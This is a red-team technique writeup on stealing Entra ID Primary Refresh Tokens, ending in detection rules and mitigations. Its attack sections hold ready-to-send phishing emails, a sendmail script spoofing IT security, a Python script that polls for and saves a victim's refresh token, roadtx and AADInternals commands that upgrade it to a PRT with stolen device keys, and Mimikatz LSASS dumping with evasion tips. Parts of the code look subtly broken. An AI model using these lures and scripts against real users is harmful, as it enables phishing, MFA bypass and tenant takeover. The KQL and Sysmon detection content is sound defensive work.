MCADDF

[REALWORLD-014]: PRT Device Identity Manipulation

Metadata

Attribute Details
Technique ID REALWORLD-014
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access, Lateral Movement
Platforms Hybrid/Entra ID
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Windows Server 2016-2025, Windows 10/11; All Entra ID tenants
Patched In No patch available; requires policy/architecture changes
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: A Primary Refresh Token (PRT) is a high-value token issued by Entra ID to users who sign in on Azure AD-joined or hybrid-joined devices. It enables single sign-on (SSO) across all Microsoft services without re-authentication. Attackers can steal PRTs through multiple methods: (1) Memory dumping via Mimikatz on compromised endpoints (especially Gen 1 VMs without TPM), (2) Device code phishing to acquire refresh tokens then upgrade them to PRTs using stolen device certificates, (3) Intercepting token material during the Windows device onboarding process. Once a PRT is stolen, the attacker can replay it from any network location, bypassing passwords and MFA entirely, gaining access to Azure Portal, M365, Teams, SharePoint, and other cloud services as the victim user. The attack is particularly dangerous because stolen PRTs remain valid for 14-90 days and can be used silently without triggering typical anomaly detection.

Attack Surface: Entra ID token issuance, Azure AD-joined device registry (PRT storage), Windows Hello for Business enrollment flows, OAuth device code flow, device certificate storage (registry or TPM), Primary Refresh Token lifecycle (14-90 days validity).

Business Impact: Complete cloud service compromise for affected users, unrestricted access to sensitive M365 data, lateral movement to cloud-only and hybrid resources, and persistent access that survives password resets and MFA disablement. A stolen PRT from a privileged user (Global Admin, Exchange Admin) results in full tenant compromise. Even PRT theft from regular users enables access to corporate email, files, Teams messages, and all user-accessible resources.

Technical Context: PRT theft can occur in as little as 5-10 minutes from initial device compromise. The attack is silent—no user-visible prompts, no MFA challenges, no password entry by attacker. Detection is difficult because stolen PRT usage generates legitimate-looking sign-in logs (TokenIssuerType: PRT) indistinguishable from normal user activity unless correlated with device state or geographic anomalies. Organizations that do not monitor for PRT theft or enforce TPM-protected device storage face severe compromise risk.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark v8 5.1.4 Multi-factor authentication (MFA) must be enabled for all users
CIS Benchmark v8 5.3 Ensure that device-based conditional access policies are configured
DISA STIG AC-2(1) Service accounts must use multi-factor authentication for privileged access
CISA SCuBA identity.4 Multi-factor authentication must be enabled for all user accounts
NIST 800-53 IA-2(1) MFA must be implemented for all administrative logons
NIST 800-53 IA-5 Cryptographic mechanisms (TPM, cert storage) must protect authentication material
GDPR Art. 32 Security of Processing - Cryptographic protections for authentication tokens
DORA Art. 9 Protection and Prevention - Strong authentication and access controls
NIS2 Art. 21 Cyber Risk Management - Protection of critical authentication factors
ISO 27001 A.9.2.3 Management of Privileged Access Rights - Token management controls
ISO 27005 Token Compromise Risk Risk of unauthorized access via stolen authentication tokens

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Device Code Phishing → PRT Acquisition

Supported Versions: Entra ID all versions; Windows 10/11, Server 2016+

Step 1: Initiate Device Code OAuth Flow

Objective: Start the OAuth device code flow, which generates a unique device code and code verification URI that the attacker will send in a phishing email to the target user.

Command (On Attacker’s Machine):

# Method 1: Using Azure CLI (Built-in Device Code Flow)
az login --use-device-code --allow-no-subscriptions

# Output will be displayed:
# To sign in, use a web browser to open the page https://microsoft.com/devicelogin
# and enter the code XXXXXXXXX to authenticate.

# Capture the device code
$deviceCode = "XXXXXXXXX"  # From the output above

Command (Using ROADtools - Attacker Python Script):

# On Linux/attacker machine, use ROADtools to generate device code
roadtx devicecode

# Output:
# {
#   "user_code": "XXXXXXXXX",
#   "device_code": "YYYYYYYYYYYY...",
#   "verification_url": "https://microsoft.com/devicelogin",
#   "expires_in": 900  # 15 minutes
# }

# Save device code for later use
echo "YYYYYYYYYYYY..." > /tmp/device_code.txt

Expected Output:

Device Code: XXXXXXXXX
Verification URL: https://microsoft.com/devicelogin
Expiration: 900 seconds (15 minutes)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Craft and Send Phishing Email with Device Code

Objective: Send a convincing phishing email to target user with the legitimate Microsoft device code login URL, disguised as a legitimate business request.

Phishing Email Template #1 (Security Update):

From: IT-Security@company.com
To: victim.user@company.com
Subject: URGENT: Verify Your Microsoft Account - Security Update Required

Dear [Victim Name],

Due to recent security policy updates, all users must verify their Microsoft account credentials immediately.

Please verify your account by clicking the link below and entering your authentication code:

https://microsoft.com/devicelogin

When prompted, enter the following code: XXXXXXXXX

This verification process typically takes less than 1 minute and is required to maintain access to company resources.

If you do not complete this verification within 24 hours, your account will be temporarily locked.

Thank you,
Microsoft Security Team
---
This is an automated message. Do not reply to this email.

Phishing Email Template #2 (Compliance Check):

From: compliance@company.com  
To: victim.user@company.com
Subject: ACTION REQUIRED: Account Compliance Check - Expires in 24 Hours

Hello [Victim Name],

Your Microsoft account requires a compliance verification as part of our annual security audit.

To complete this process, please visit: https://microsoft.com/devicelogin
Enter code when prompted: XXXXXXXXX

Deadline: [Tomorrow's Date]

Account Information:
Username: victim.user@company.com
Current MFA Status: [Auto-filled from GAL]

Questions? Contact IT Support at [help desk email]

Best regards,
Compliance Team

Command (Send Phishing Email via External Relay - Attacker Infrastructure):

#!/bin/bash
# Using legitimate email service to send phishing
# Attacker controls mail relay (e.g., compromised email server or third-party relay)

EMAIL_TO="victim.user@company.com"
DEVICE_CODE="XXXXXXXXX"
DEVICE_LOGIN_URL="https://microsoft.com/devicelogin"

# Using sendmail or postfix
(
echo "From: IT-Security@company.com"
echo "To: $EMAIL_TO"
echo "Subject: URGENT: Verify Your Microsoft Account - Security Update"
echo ""
echo "Dear User,"
echo "Please verify your account immediately:"
echo ""
echo "Visit: $DEVICE_LOGIN_URL"
echo "Code: $DEVICE_CODE"
echo ""
echo "Thank you,"
echo "Microsoft Security Team"
) | sendmail -t

Expected Output (If Email Sent Successfully):

Email queued successfully
Recipient: victim.user@company.com
Subject: URGENT: Verify Your Microsoft Account
Status: Sent

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Wait for Victim Authentication and Capture Refresh Token

Objective: After victim signs in on the Microsoft device login page, capture the refresh token that is sent back to the attacker’s device.

Command (Monitor Device Code Flow - On Attacker’s Machine):

# Using ROADtools to wait for victim authentication
# Command blocks until victim completes sign-in or timeout

roadtx devicecode --monitor

# Or using PowerShell with Azure CLI
# After running: az login --use-device-code
# The CLI will wait and automatically receive the token once victim signs in

# Monitor the process (in another terminal)
$process = Get-Process az*
Wait-Process -InputObject $process

# Once victim signs in, token is automatically cached
# Check for cached credentials
cat ~/.azure/accessTokens.json | Select-String "refreshToken"

Command (Capture Token Programmatically):

# Python script to intercept and log device code flow completion
import requests
import json
from datetime import datetime

# Device code from Step 1
DEVICE_CODE = "YYYYYYYYYYYY..."
TENANT_ID = "organizations"  # or specific tenant

# Poll for token completion
URL = "https://login.microsoftonline.com/{}/oauth2/v2.0/token".format(TENANT_ID)

PAYLOAD = {
    "client_id": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",  # Azure CLI client ID
    "device_code": DEVICE_CODE,
    "grant_type": "urn:ietf:params:oauth:grant-type:device_code"
}

# Poll every 5 seconds (device code flow spec)
while True:
    response = requests.post(URL, data=PAYLOAD)
    result = response.json()
    
    if "refresh_token" in result:
        # Success! Victim has authenticated
        print(f"[+] Refresh Token Captured!")
        print(f"[+] User: {result.get('foci')}")
        print(f"[+] Token (first 50 chars): {result['refresh_token'][:50]}...")
        
        # Save token
        with open("captured_refresh_token.txt", "w") as f:
            f.write(result['refresh_token'])
        break
    elif result.get("error") == "authorization_pending":
        print(f"[*] Waiting for user authentication... ({datetime.now()})")
        time.sleep(5)
    else:
        print(f"[-] Error: {result}")
        break

Expected Output:

[*] Waiting for user authentication... (2025-01-10 14:30:05)
[*] Waiting for user authentication... (2025-01-10 14:30:10)
[*] Waiting for user authentication... (2025-01-10 14:30:15)
[+] Refresh Token Captured!
[+] User: victim.user@company.com
[+] Token (first 50 chars): eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In...

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 4: Upgrade Refresh Token to Primary Refresh Token (PRT)

Objective: Use the captured refresh token, combined with a stolen device certificate and transport key, to request a Primary Refresh Token that bypasses MFA and password requirements.

Command (Using ROADtools - PRT Upgrade):

# Prerequisite: Have device certificate and transport key from evil VM
# Files: device_cert.pfx, device_transport_key.bin

# Use roadtx to upgrade refresh token to PRT
roadtx prtenrich \
    -c device_cert.pfx \
    -k device_transport_key.bin \
    -r "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In..." \
    --token-output prt.token

# Output:
# [+] PRT Successfully acquired
# [+] PRT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In...
# [+] PRT is valid for 14 days

Command (Using AADInternals - PowerShell Alternative):

Import-Module AADInternals

# Variables (from evil VM extraction)
$deviceCertPath = "C:\temp\device_cert.pfx"
$transportKeyPath = "C:\temp\device_transport_key.bin"
$refreshToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6In..."

# Read certificate and key
$deviceCert = Get-Content $deviceCertPath -Encoding Byte
$transportKey = Get-Content $transportKeyPath -Encoding Byte

# Request PRT using device identity and refresh token
$prt = New-AADIntPrimaryRefreshToken `
    -DeviceCertificate $deviceCert `
    -DeviceTransportKey $transportKey `
    -RefreshToken $refreshToken

Write-Host "PRT Successfully Acquired: $prt"
Write-Host "PRT is valid for 14 days (can be renewed to 90 days)"

# Save PRT for later use
$prt | Out-File -FilePath "C:\temp\prt.token" -NoNewline

Expected Output:

[+] Validating device certificate... OK
[+] Decrypting transport key... OK
[+] Requesting PRT with device identity...
[+] PRT Successfully acquired!
[+] PRT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlNoNmFDb0NBQyIsInR5cCI6IkpXVCJ9...
[+] Token Valid Until: 2025-01-24 (14 days)
[+] PRT can be renewed if used within renewal window (up to 90 days)

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Mimikatz Memory Extraction (From Compromised Device)

Supported Versions: Windows Server 2016-2025, Windows 10/11

Step 1: Execute Mimikatz with Local Admin Privileges

Objective: Dump all tokens and credentials from memory, including PRTs if victim user is logged in to the compromised device.

Command (On Compromised Device with Local Admin):

# Download Mimikatz (pre-compiled or build from source)
mimikatz.exe

# Output: mimikatz # prompt

# Enable debug privilege (required for LSASS access)
privilege::debug

# Output: Privilege '20' OK

# List all tokens in memory
token::list /csv

# Output shows all tokens currently in memory
# Look for tokens with USER claims containing admin accounts

Command (Extract PRT Specifically):

mimikatz # dpapi::cache  
# Shows DPAPI-cached credentials

mimikatz # sekurlsa::logonpasswords
# Dumps plaintext passwords and tokens from LSASS

# Or more specific:
mimikatz # token::whoami
# Shows current token context

mimikatz # sekurlsa::prt
# Attempts to extract Primary Refresh Tokens (newer Mimikatz versions)

PowerShell Alternative (Invoking Mimikatz):

# Load Mimikatz reflectively (evades disk-based detection)
$mimikatzPath = "C:\temp\mimikatz.exe"

# Run Mimikatz in background
Start-Process -FilePath $mimikatzPath -ArgumentList "privilege::debug`nsekurlsa::logonpasswords`ntoken::list /csv" -NoNewWindow -PassThru | Wait-Process

# Or use Invoke-Mimikatz (powersploit)
Invoke-Mimikatz -Command "privilege::debug`nsekurlsa::prt"

# Output includes any PRTs in memory

Expected Output:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::prt
PRT - Current PRT:
 * PRT Cookie                 : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...
 * Encryption Key             : [hex key material]
 * Transport Key              : [hex key material]
 * User                       : VICTIM.USER@COMPANY.COM
 * Device                     : DEVICE-GUID

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Reference: Atomic Red Team - T1528


7. TOOLS & COMMANDS REFERENCE

ROADtools

Version: 1.0.0+ (latest) Minimum Version: 0.9.0 Supported Platforms: Linux, macOS, Windows (Python 3.7+)

Version-Specific Notes:

Installation:

pip install roadtools
# Or from GitHub:
git clone https://github.com/dirkjanm/ROADtools
cd ROADtools
pip install .

Usage (Device Code Flow):

roadtx devicecode
# Output: Device code and verification URL

Usage (PRT Upgrade):

roadtx prtenrich -c device_cert.pfx -k device_transport_key.bin -r refresh_token

Mimikatz

Version: 2.2.0+ (latest) Minimum Version: 2.1.0 Supported Platforms: Windows

Installation:

# Download pre-compiled from releases
# Or build from source:
git clone https://github.com/gentilkiwi/mimikatz
cd mimikatz
cmake -B build && cmake --build build --config Release

Usage (PRT Extraction):

mimikatz # privilege::debug
mimikatz # sekurlsa::prt

9. MICROSOFT SENTINEL DETECTION

Query 1: Device Code Phishing Signature (RT → PRT Transition)

Rule Configuration:

KQL Query:

// Detect RefreshToken sign-in followed by PRT issuance from different device/location
let refreshTokenSignins = SigninLogs
  | where AuthenticationMethodsUsed contains "refreshToken"
  | where Status.additionalDetails contains "Device code flow" or AppDisplayName contains "Device Registration"
  | where TimeGenerated > ago(2h)
  | project RefreshTokenUPN = UserPrincipalName, RefreshTokenTime = TimeGenerated, RefreshTokenIP = IPAddress, RefreshTokenDeviceId = DeviceId;

let prtSignins = SigninLogs
  | where TokenIssuerType == "PRT"
  | where TimeGenerated > ago(2h)
  | project PRTUserPrincipal = UserPrincipalName, PRTTime = TimeGenerated, PRTIP = IPAddress, PRTDeviceId = DeviceId;

refreshTokenSignins
| join kind=inner prtSignins on $left.RefreshTokenUPN == $right.PRTUserPrincipal
| where RefreshTokenTime < PRTTime and datetime_diff('minute', PRTTime, RefreshTokenTime) < 30
| where RefreshTokenIP != PRTIP or RefreshTokenDeviceId != PRTDeviceId
| project TimeGenerated = PRTTime, UserPrincipalName = RefreshTokenUPN, 
          RefreshTokenTime, PRTTime, RefreshTokenIP, PRTIP, 
          TimeGap = datetime_diff('minute', PRTTime, RefreshTokenTime),
          AlertLevel = "High"

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: Device Code Phishing - RefreshToken to PRT
    • Severity: High
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 2 hours
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: UserPrincipalName
  5. Click Review + create

Query 2: PRT Memory Extraction (Mimikatz Signature)

Rule Configuration:

KQL Query:

// Detect Mimikatz or tools attempting to extract PRT from memory
union isfuzzy=true
(
  SecurityEvent
  | where EventID == 3  // Process creation
  | where (ProcessName contains "mimikatz" or CommandLine contains "mimikatz" or
           CommandLine contains "sekurlsa" or CommandLine contains "token::prt" or
           CommandLine contains "privilege::debug")
),
(
  DeviceEvents
  | where ActionType == "ProcessCreated"
  | where FileName in ("mimikatz.exe", "x64\mimikatz.exe", "x86\mimikatz.exe")
  | where ProcessCommandLine contains "prt" or ProcessCommandLine contains "sekurlsa"
)
| project TimeGenerated, Computer, FileName, CommandLine = ProcessCommandLine, InitiatingProcess = ParentImage

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: Mimikatz PRT Extraction Attempt
    • Severity: Critical
  3. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 1 minute
    • Lookup data from the last: 1 hour
  4. Incident settings Tab:
    • Enable Create incidents
    • Group by: Computer, InitiatingProcess
  5. Click Review + create

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDetailed Tracking
  3. Enable: Audit Process CreationSuccess and Failure
  4. Run gpupdate /force

Manual Configuration Steps (PowerShell):

# Enable detailed process creation audit
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

# Query for Mimikatz execution
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688; StartTime=(Get-Date).AddHours(-1)} | 
  Where-Object {$_.Message -match "mimikatz|sekurlsa|privilege::debug"} |
  Select-Object TimeCreated, Properties

Event ID: 5156 (Windows Firewall - Connection Attempt)

Manual Configuration Steps:

  1. Open Windows Defender Firewall with Advanced Security (wf.msc)
  2. Click Monitoring → Enable logging for Firewall events
  3. Set log file location: C:\Windows\System32\logfiles\firewall\pfirewall.log
  4. Enable logging for inbound and outbound connections

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+

<!-- Detect Mimikatz and PRT extraction -->
<Sysmon schemaversion="4.82">
  <RuleGroup name="Detect-Mimikatz" groupRelation="or">
    <ProcessCreate onmatch="include">
      <Image condition="contains">mimikatz</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="contains">powershell</Image>
      <CommandLine condition="contains">sekurlsa</CommandLine>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="contains">powershell</Image>
      <CommandLine condition="contains">privilege::debug</CommandLine>
    </ProcessCreate>
  </RuleGroup>

  <!-- Detect LSASS access attempts -->
  <RuleGroup name="Detect-LSASS-Access" groupRelation="or">
    <ProcessAccess onmatch="include">
      <TargetImage condition="contains">lsass.exe</TargetImage>
      <GrantedAccess condition="contains">0x1010</GrantedAccess>  <!-- PROCESS_VM_READ -->
    </ProcessAccess>
  </RuleGroup>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Sysinternals
  2. Create config with XML above as sysmon-config.xml
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Monitor: Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Entra ID sign-in from new device”

Alert Name: “Impossible travel detected”

Manual Configuration Steps:

  1. Navigate to Microsoft Defender for CloudEnvironment settings
  2. Select subscription → Defender for Cloud Apps → ON
  3. Go to Alerts → Configure alert rules for suspicious authentication

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: PRT Sign-Ins and Anomalies

# Search for PRT sign-ins in audit log
Connect-ExchangeOnline

Search-UnifiedAuditLog -Operations "UserLoggedIn" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
  Where-Object {$_.AuditData -match "PRT|tokenIssuerType"} |
  Export-Csv -Path "C:\Audit\prt_logins.csv"

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Enable TPM Protection for All Devices

Priority 2: HIGH - Restrict Device Code Flow & Implement Conditional Access

Validation Command (Verify Mitigations)

# 1. Check TPM status on local machine
$tpm = Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm
if ($null -ne $tpm) {
    Write-Host "TPM Status: $(if ($tpm.IsEnabled()) {'Enabled'} else {'DISABLED - HIGH RISK'})"
} else {
    Write-Host "TPM: Not present (may be firmware-based)"
}

# 2. Verify Conditional Access policies
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.State -eq "enabled"} | Select-Object DisplayName

# 3. Check Intune Device Compliance
# Via portal: Intune → Device Compliance → Policies → Review TPM requirement

# 4. Verify no Gen 1 VMs exist
Get-AzVM | Select-Object Name, @{Name="SecurityType"; Expression={$_.StorageProfile.OsDisk.ManagedDisk.StorageAccountType}} | 
  Where-Object {$_.SecurityType -ne "TrustedLaunch"}

Expected Output (If Secure):

TPM Status: Enabled
[Conditional Access policies listed with MFA/device compliance requirements]
No Gen 1 VMs found

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Disable/revoke all sessions for compromised user
    Connect-MgGraph -Scopes "User.ReadWrite.All"
    Revoke-MgUserRefreshToken -UserId (Get-MgUser -Filter "mail eq 'victim@company.com'").Id
        
    # Disable device if physical device was compromised
    Get-MgDevice -Filter "deviceId eq 'DEVICE-ID'" | Update-MgDevice -AccountEnabled $false
    
  2. Collect Evidence:
    # Export sign-in logs for victim user
    Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'victim@company.com'" -All | 
      Export-Csv -Path "C:\Evidence\signin_logs.csv"
    
  3. Remediate:
    # Force password reset
    $userId = (Get-MgUser -Filter "mail eq 'victim@company.com'").Id
    Reset-MgUserPassword -UserId $userId -NewPassword (New-Guid).Guid
    

Step Phase Technique Description
1 Credential Access REALWORLD-013 Evil VM Device Identity Extract device certificate from Gen 1 VM without TPM
2 Current Step [REALWORLD-014] Phish admin for refresh token, upgrade to PRT using device cert
3 Lateral Movement REALWORLD-015 Guest to Admin Azure VM Use stolen PRT to access Azure Portal as admin
4 Privilege Escalation Role Assignment Modification Grant self additional Entra ID roles
5 Persistence Service Principal Creation Create backdoor service principal with credentials
6 Impact Data Exfiltration Access M365, SharePoint, Teams as admin

17. REAL-WORLD EXAMPLES

Example 1: APT29 - PRT Exploitation Campaign (2024)

Example 2: Scattered Spider - PRT Abuse for Lateral Movement (2025)